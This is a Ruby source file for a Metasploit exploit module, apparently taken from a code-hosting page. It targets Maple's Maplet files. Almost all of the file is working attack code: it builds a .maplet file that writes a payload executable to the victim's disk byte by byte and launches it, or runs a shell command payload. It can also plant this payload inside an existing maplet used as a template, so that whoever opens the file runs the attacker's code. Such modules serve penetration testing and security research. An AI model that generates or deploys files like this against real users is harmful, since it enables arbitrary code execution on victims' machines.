Spencer McIntyre
157 lines
4.3 KiB
Ruby
157 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Maple Maplet File Creation and Command Execution',
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'Description' => %q{
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This module harnesses Maple's ability to create files and execute commands
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automatically when opening a Maplet. All versions up to 13 are suspected
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vulnerable. Testing was conducted with version 13 on Windows. Standard security
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settings prevent code from running in a normal maple worksheet without user
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interaction, but those setting do not prevent code in a Maplet from running.
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In order for the payload to be executed, an attacker must convince someone to
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open a specially modified .maplet file with Maple. By doing so, an attacker can
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execute arbitrary code as the victim user.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'scriptjunkie'
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],
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'References' => [
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[ 'CVE', '2010-20120' ],
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[ 'OSVDB', '64541'],
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[ 'URL', 'http://www.maplesoft.com/products/maple/' ]
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],
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'Payload' => {
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'Space' => 1024,
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'BadChars' => '',
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'DisableNops' => true
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# 'Compat' =>
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# {
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# 'PayloadType' => 'cmd',
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# 'RequiredCmd' => 'generic perl telnet',
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# }
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},
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'Targets' => [
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[
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'Windows',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[
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'Windows X64',
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{
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'Arch' => ARCH_X64,
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'Platform' => 'win'
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}
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],
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[
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'Linux',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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],
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[
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'Linux X64',
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{
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'Arch' => ARCH_X64,
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'Platform' => 'linux'
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}
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],
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[
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'Universal CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => %w[linux unix win]
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}
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]
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],
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'DisclosureDate' => '2010-04-26',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
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OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
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]
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)
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end
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def exploit
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content = ''
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if target['Arch'] != ARCH_CMD
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# Get payload as executable on whatever platform
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binary = generate_payload_exe
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# Get filename and random variable name for file handle in script
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fname = rand_text_alpha(rand(3..17))
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if target['Platform'] == 'win'
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fname << '.exe'
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end
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fhandle = rand_text_alpha(rand(3..17))
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# Write maple commands to create executable
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content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
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exe = binary.unpack('C*')
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content << "writebytes(#{fhandle},[#{exe[0]}"
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lines = []
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1.upto(exe.length - 1) do |byte|
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if (byte % 100 == 0)
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lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
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else
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lines.push ",#{exe[byte]}"
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end
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end
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content << lines.join('') + "]);\r\n"
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content << 'fclose(' + fhandle + ");\n"
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# Write command to be executed
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if target['Platform'] != 'win'
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content << "system(\"chmod a+x #{fname}\");\n"
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end
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content << "system[launch](\"#{fname}\");\n"
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else
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content << "system(\"#{payload.encoded}\");\n"
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end
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# Then put the rest of the original maplet
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if datastore['TEMPLATE'] != ''
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File.open(datastore['TEMPLATE'], 'rb') do |fd|
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content << fd.read(File.size(datastore['TEMPLATE']))
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end
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end
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(content)
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end
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end
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